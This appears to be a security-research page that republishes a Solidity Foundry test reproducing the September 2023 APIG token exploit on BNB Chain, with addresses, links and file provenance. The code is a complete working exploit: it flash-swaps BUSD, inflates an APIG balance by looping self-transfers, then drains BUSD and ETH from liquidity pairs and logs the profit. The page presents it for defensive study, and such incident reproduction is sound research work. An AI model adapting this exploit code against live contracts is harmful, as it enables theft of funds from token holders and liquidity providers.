Public reproduction file

src/test/2023-09/APIG_exp.sol

Public reproduction file for dataset entry APIG.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/APIG_exp.sol104 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : 59.5 ETH and ~72.1k USDT (~$169k)
8// Attacker : https://bscscan.com/address/0x73d80500b30a6ca840bfab0234409d98cf588089
9// Attack Contract : https://bscscan.com/address/0xfdc6a621861ed2a846ab475c623e13764f6a5ad0
10// Attack Tx : https://bscscan.com/tx/0x66dee84591aeeba6e5f31e12fe728f2ddc79a06426036793487a980c3b952947
11 
12// @Analysis
13// Twitter Guy : https://twitter.com/CertiKAlert/status/1700128158647734745
14 
15interface IBEP20 {
16    function totalSupply() external view returns (uint256);
17 
18    function decimals() external view returns (uint8);
19 
20    function symbol() external view returns (string memory);
21 
22    function name() external view returns (string memory);
23 
24    function getOwner() external view returns (address);
25 
26    function balanceOf(
27        address account
28    ) external view returns (uint256);
29 
30    function transfer(address recipient, uint256 amount) external returns (bool);
31 
32    function allowance(address _owner, address spender) external view returns (uint256);
33 
34    function approve(address spender, uint256 amount) external returns (bool);
35 
36    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
37 
38    event Transfer(address indexed from, address indexed to, uint256 value);
39 
40    event Approval(address indexed owner, address indexed spender, uint256 value);
41}
42 
43contract ContractTest is Test {
44    IPancakePair aDaDPair = IPancakePair(0xaDaD973f8920bc511d94aade2762284f621F1467);
45    IPancakePair EfBfPair = IPancakePair(0xEFBf31B0Ca397D29E9BA3fb37FE3C013EE32871d);
46    IPancakePair b920Pair = IPancakePair(0xb920456AeC6E88c68C16c8294688B2b63C81B2Ce);
47    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
48    IBEP20 BUSD = IBEP20(0x55d398326f99059fF775485246999027B3197955);
49    IBEP20 BETH = IBEP20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
50    IBEP20 APIG = IBEP20(0xDc630Fb4F95FaAeE087E0CE45d5b9c4fc9888888);
51    uint256 amount = 500_000_000_000_000_000_000;
52    address[] path = new address[](2);
53 
54    function setUp() public {
55        vm.createSelectFork("bsc", 31_562_012 - 1);
56        vm.label(address(aDaDPair), "0xadad_Pair");
57        vm.label(address(EfBfPair), "0xefbf_Pair");
58        vm.label(address(b920Pair), "0xb920_Pair");
59        vm.label(address(router), "PancakeRouter");
60        vm.label(address(BUSD), "BSC-USD");
61        vm.label(address(BETH), "ETH");
62        vm.label(address(APIG), "APIG");
63    }
64 
65    function testExploit() external {
66        uint256 startBUSD = BUSD.balanceOf(address(this));
67        // console.log("Before Start: %d USD", startBUSD);
68        aDaDPair.swap(amount, 0, address(this), abi.encode(amount));
69 
70        uint256 expBUSD = BUSD.balanceOf(address(this)) - startBUSD;
71        uint256 intRes_USD = expBUSD / 1 ether;
72        uint256 decRes_USD = expBUSD - intRes_USD * 1e18;
73        console.log("Attack Exploit: %s.%s USD", intRes_USD, decRes_USD);
74        uint256 intRes_ETH = BETH.balanceOf(address(this)) / 1 ether;
75        uint256 decRes_ETH = BETH.balanceOf(address(this)) - intRes_ETH * 1e18;
76        console.log("Attack Exploit: %s.%s ETH", intRes_ETH, decRes_ETH);
77    }
78 
79    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
80        BUSD.transfer(address(EfBfPair), amount);
81        (path[0], path[1]) = (address(BUSD), address(APIG));
82        uint256[] memory swapAmounts = router.getAmountsOut(amount, path);
83        EfBfPair.swap(0, swapAmounts[1], address(this), "");
84        uint256 amount72628 = BUSD.balanceOf(address(EfBfPair)) - 5e19;
85        (path[0], path[1]) = (address(APIG), address(BUSD));
86        uint256[] memory APIG_BUSD = router.getAmountsIn(amount72628, path);
87        uint256 amount59500 = BETH.balanceOf(address(b920Pair)) - 1e17;
88        (path[0], path[1]) = (address(APIG), address(BETH));
89        uint256[] memory APIG_BETH = router.getAmountsIn(amount59500, path);
90        while (true) {
91            uint256 transferAmount = APIG.balanceOf(address(this));
92            APIG.transfer(address(this), transferAmount);
93            if (transferAmount >= 257_947_240_540_223_703_649_846_558_720) {
94                break;
95            }
96        }
97 
98        APIG.transfer(address(EfBfPair), APIG_BUSD[0] + APIG_BUSD[0] / 100 * 4);
99        EfBfPair.swap(amount72628, 0, address(this), "");
100        BUSD.transfer(address(aDaDPair), amount + amount / 100 * 3);
101        APIG.transfer(address(b920Pair), APIG.balanceOf(address(this)));
102        b920Pair.swap(amount59500, 0, address(this), "");
103    }
104}

Analysis

Dataset entry

Public Foundry test for “APIG” (2023-09-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-09/0x0DEX_exp.solSame month in the dataset · 269 lines
src/test/2023-09/BFCToken_exp.solSame month in the dataset · 109 lines
src/test/2023-09/CEXISWAP_exp.solSame month in the dataset · 77 lines
src/test/2023-09/DAppSocial_exp.solSame month in the dataset · 109 lines
src/test/2023-09/DEXRouter_exp.solSame month in the dataset · 55 lines
src/test/2023-09/FireBirdPair_exp.solSame month in the dataset · 141 lines
src/test/2023-09/FloorDAO_exp.solSame month in the dataset · 83 lines
src/test/2023-09/HCT_exp.solSame month in the dataset · 105 lines
src/test/2023-09/HeavensGate_exp.solSame month in the dataset · 97 lines
src/test/2023-09/JumpFarm_exp.solSame month in the dataset · 83 lines
src/test/2023-09/Kub_Split_exp.solSame month in the dataset · 226 lines
src/test/2023-09/QuantumWN_exp.solSame month in the dataset · 73 lines
src/test/2023-09/uniclyNFT_exp.solSame month in the dataset · 126 lines
src/test/2023-09/XSDWETHpool_exp.solSame month in the dataset · 123 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x73d80500b30a6ca840bfab0234409d98cf588089
Attack Contract
0xfdc6a621861ed2a846ab475c623e13764f6a5ad0

Attack Tx
0x66dee84591aeeba6e5f31e12fe728f2ddc79a06426036793487a980c3b952947

File record

Name: APIG
Path: src/test/2023-09/APIG_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 468e2b7aebe351eeec14317bb5f2711fa9682d5d
Language: Solidity
Size: 105 lines
Date: 2023-09-08
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-09/APIG_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 468e2b7aebe351eeec14317bb5f2711fa9682d5d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.